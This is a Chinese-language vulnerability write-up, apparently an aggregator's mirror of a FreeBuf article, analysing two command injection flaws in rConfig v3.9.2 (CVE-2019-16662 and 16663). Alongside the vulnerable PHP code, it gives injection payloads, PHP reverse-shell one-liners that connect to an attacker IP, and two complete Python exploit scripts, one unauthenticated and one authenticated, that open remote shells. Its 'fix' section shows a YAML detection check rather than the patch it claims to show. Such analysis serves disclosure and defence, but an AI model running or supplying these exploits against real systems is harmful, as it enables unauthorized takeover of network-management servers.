20

CVE-2019-16662&16663:rConfig v3.9.2远程命令执行漏洞分析

 4 years ago
source link: https://www.freebuf.com/vuls/224782.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

rConfig概述

rConfig是一款开源的网络设备配置管理实用工具,在rConfig的帮助下,网络工程师可以快速、频繁地管理网络设备的快照。

漏洞发现

在近期的一次研究过程中,我在rConfig的两个代码文件中分别找到了两个远程代码执行漏洞。

第一个文件为ajaxServerSettingsChk.php,其中的rootUname参数在源文件的第2行中定义,随后会在第13行传递给exec函数,而攻击者可以通过rootUname参数发送特制的GET请求,并以此来触发未授权的远程代码执行。攻击者只需要将恶意命令注入到这个参数中,并在目标服务器上执行,即可完成漏洞利用。

第二个RCE漏洞位于search.crud.php文件中,攻击者可以发送特制的GET请求来触发该漏洞。这个请求需要包含两个参数,其中的searchTerm参数可以包含任意值,但该参数要有,否则第63行的exec函数将无法正常执行。

在之前的RCE漏洞挖掘过程中,我曾开发过一个简单的Python脚本来寻找目标可能存在的所有不安全函数,这一次我同样打算使用这个脚本:【 RCEScanner 】。

漏洞分析#1

运行该脚本后,我们可以查看到脚本的输出结果。在检查文件的过程中,我发现了一个名为ajaxServerSettingsChk.php的文件,文件路径为install/lib/ajaxHandlers/ajaxServerSettingsChk.php,其部分代码段如下:

<?php
$rootUname = $_GET['rootUname'];    // line 2
$array = array();
/* check PHP Safe_Mode is off */
if (ini_get('safe_mode')) {
    $array['phpSafeMode'] = '<strong><font class="bad">Fail - php safe mode is on - turn it off before you proceed with the installation</strong></font>br/>';
} else {
    $array['phpSafeMode'] = '<strong><font class="Good">Pass - php safe mode is off</strong></font><br/>';
}
/* Test root account details */
$rootTestCmd1 = 'sudo -S -u ' . $rootUname . ' chmod 0777 /home 2>&1';    // line 12
exec($rootTestCmd1, $cmdOutput, $err);    // line 13
$homeDirPerms = substr(sprintf('%o', fileperms('/home')), -4);
if ($homeDirPerms == '0777') {
    $array['rootDetails'] = '<strong><font class="Good">Pass - root account details are good </strong></font><br/>';
} else {
    $array['rootDetails'] = '<strong><font class="bad">The root details provided have not passed: ' . $cmdOutput[0] . '</strong></font><br/>';
}
// reset /home dir permissions
$rootTestCmd2 = 'sudo -S -u ' . $rootUname . ' chmod 0755 /home 2>&1';    // line 21
exec($rootTestCmd2, $cmdOutput, $err);    // line 22
echo json_encode($array);

在第二行代码中,脚本会将GET请求中的rootUname参数值保存到$rootUname中。在第十二行,代码将$rootUname与一些其他的字符串拼接在一起,然后保存到了$rootTestCmd1中,最后传递给第十三行的exec函数。剩下的代码同理以此类推。

因此,我们只需要注入需要执行的命令,然后在第十三行跳出原代码的执行流程,并执行我们的代码即可。为了实现这个目标,我们需要使用下列Payload:

; your command #

测试Payload时,我修改了代码,并显示第十三行exec()函数的运行结果,然后编码并发送Payload:

6rIVJfJ.jpg!web

如上图所示,我们可以通过rootUname参数发送经过编码的“; id #”命令。为了拿到Shell,我们可以使用下列Payload:

;php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");

注意:我之所以使用这个payload,是为了避免使用nc,因为这个程序在CentOS 7.7 mini上默认是没有安装的。

编码payload并使用Burp发送后,结果如下:

Ire6za2.jpg!web

没错,我们成功拿到了Shell!

为了自动化实现整个过程,我编写了一个 Python脚本

#!/usr/bin/python

# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution

# Date: 18/09/2019

# Exploit Author: Askar (@mohammadaskar2)

# CVE : CVE-2019-16662

# Vendor Homepage: https://rconfig.com/

# Software link: https://rconfig.com/download

# Version: v3.9.2

# Tested on: CentOS 7.7 / PHP 7.2.22

import requests

import sys

from urllib import quote

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 4:

print "[+] Usage : ./exploit.py target ip port"

exit()

target = sys.argv[1]

ip = sys.argv[2]

port = sys.argv[3]

payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))

install_path = target + "/install"

req = requests.get(install_path, verify=False)

if req.status_code == 404:

print "[-] Installation directory not found!"

print "[-] Exploitation failed !"

exit()

elif req.status_code == 200:

print "[+] Installation directory found!"

url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload

print "[+] Triggering the payload"

print "[+] Check your listener !"

requests.get(url_to_send, verify=False)

运行这个脚本之后,我们可以看到如下所示的结果:

yEfIVbe.jpg!web

我们再次拿到了shell!

漏洞分析#2

在RCEScanner的扫描结果列表中,还有一个名叫“lib/crud/search.crud.php”的文件吸引了我的注意,改文件中包含下列代码:

if (isset($_GET['searchTerm']) && is_string($_GET['searchTerm']) && !empty($_GET['searchTerm'])) {    // line 25
    /* validation */
    $searchTerm = '"' . $_GET['searchTerm'] . '"';    // line 27
    $catId = $_GET['catId'];
    $catCommand = $_GET['catCommand'];    // line 29
    $nodeId = $_GET['nodeId'];    // line 30
    $grepNumLineStr = $_GET['numLinesStr'];
    $grepNumLine = $_GET['noLines'];
    $username = $_SESSION['username'];
    // if nodeId was empty set it to blank
    if (empty($nodeId)) {
        $nodeId = '';
    } else {
        $nodeId = '/' . $nodeId . '/';
    }
    $returnArr = array();
    // Get the category Name from the Category selected    
    $db2->query("SELECT categoryName from `categories` WHERE id = :catId");
    $db2->bind(':catId', $catId);
    $resultCat = $db2->resultset();
    $returnArr['category'] = $resultCat[0]['categoryName'];
    // get total file count
    $fileCount = array();
    $subDir = "";
    if (!empty($returnArr['category'])) {
        $subDir = "/" . $returnArr['category'];
    }
    exec("find /home/rconfig/data" . $subDir . $nodeId . " -maxdepth 10 -type f | wc -l", $fileCountArr);    // line 57
    $returnArr['fileCount'] = $fileCountArr['0'];
    //next find all instances of the search term under the specific cat/dir 
    $command = 'find /home/rconfig/data' . $subDir . $nodeId . ' -name ' . $catCommand . ' | xargs grep -il ' . $grepNumLineStr . ' ' . $searchTerm . ' | while read file ; do echo File:"$file"; grep ' . $grepNumLineStr . ' ' . $searchTerm . ' "$file" ; done';    // line 61
    // echo $command;die();
exec($command, $searchArr);    // line 63

首先,我们需要发送包含searchTerm参数的GET请求来绕过第25行的if语句,这样就可以进入代码执行体了。接下来,我们需要发送包含catCommand参数的另一个GET请求,并注入我们的Payload。这个参数会在第61行与其他的字符串拼接起来,在存储到$command中之后,便会在第63行传递给exec()执行。

在这里,我打算用一个sleep()来测试该逻辑是否可行,这个Payload会让代码挂起5秒,分析之后,我发现这里可以用多个Payload来绕过字符串转义并执行我们的代码:

""&&$(`sleep 5`)#

使用Burp发送请求后,得到的结果如下:

Zjmeau3.jpg!web

没错,我们的sleep逻辑生效了,也就是注入的命令成功执行了。

我们的目的是拿到Shell,这里我使用了一段PHP代码,然后跟其他字符串进行了拼接:

""&&php -r '$sock=fsockopen("192.168.178.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'#

为了自动化实现整个漏洞利用过程,我编写了一个简单的 Python脚本

#!/usr/bin/python

# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution

# Date: 18/09/2019

# Exploit Author: Askar (@mohammadaskar2)

# CVE : CVE-2019-16663

# Vendor Homepage: https://rconfig.com/

# Software link: https://rconfig.com/download

# Version: v3.9.2

# Tested on: CentOS 7.7 / PHP 7.2.22

import requests

import sys

from urllib import quote

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 6:

print "[+] Usage : ./exploit.py target username password ip port"

exit()

target = sys.argv[1]

username = sys.argv[2]

password = sys.argv[3]

ip = sys.argv[4]

port = sys.argv[5]

request = requests.session()

login_info = {

"user": username,

"pass": password,

"sublogin": 1

}

login_request = request.post(

target+"/lib/crud/userprocess.php",

login_info,

verify=False,

allow_redirects=True

)

dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)

if dashboard_request.status_code == 200:

print "[+] LoggedIn successfully"

payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port)

encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload))

print "[+] triggering the payload"

print "[+] Check your listener !"

exploit_req = request.get(encoded_request)

elif dashboard_request.status_code == 302:

print "[-] Wrong credentials !"

exit()

运行该漏洞利用脚本之后,我们得到了下图所示的结果:

aIjEFzj.jpg!web

没错,我们又拿到了Shell!

漏洞修复

随后,我们顺着Github找到了该系统得源码,然后找到了最新的漏洞修复补丁,其中更新的部分代码如下:

name: poc-yaml-rconfig-cve-2019-16663
set:
  r: randomInt(800000000, 1000000000)
  r1: randomInt(800000000, 1000000000)
rules:
  - method: GET
    path: /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3Bexpr%20{{r}}%20%2B%20{{r1}}%20%20%23
    expression: |
      response.status == 200 && response.body.bcontains(bytes(string(r + r1)))
detail:
  author: 17bdw
  links:
    - https://github.com/rconfig/rconfig/commit/6ea92aa307e20f0918ebd18be9811e93048d5071
    - https://www.cnblogs.com/17bdw/p/11840588.html
    - https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/

* 参考来源: shells ,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK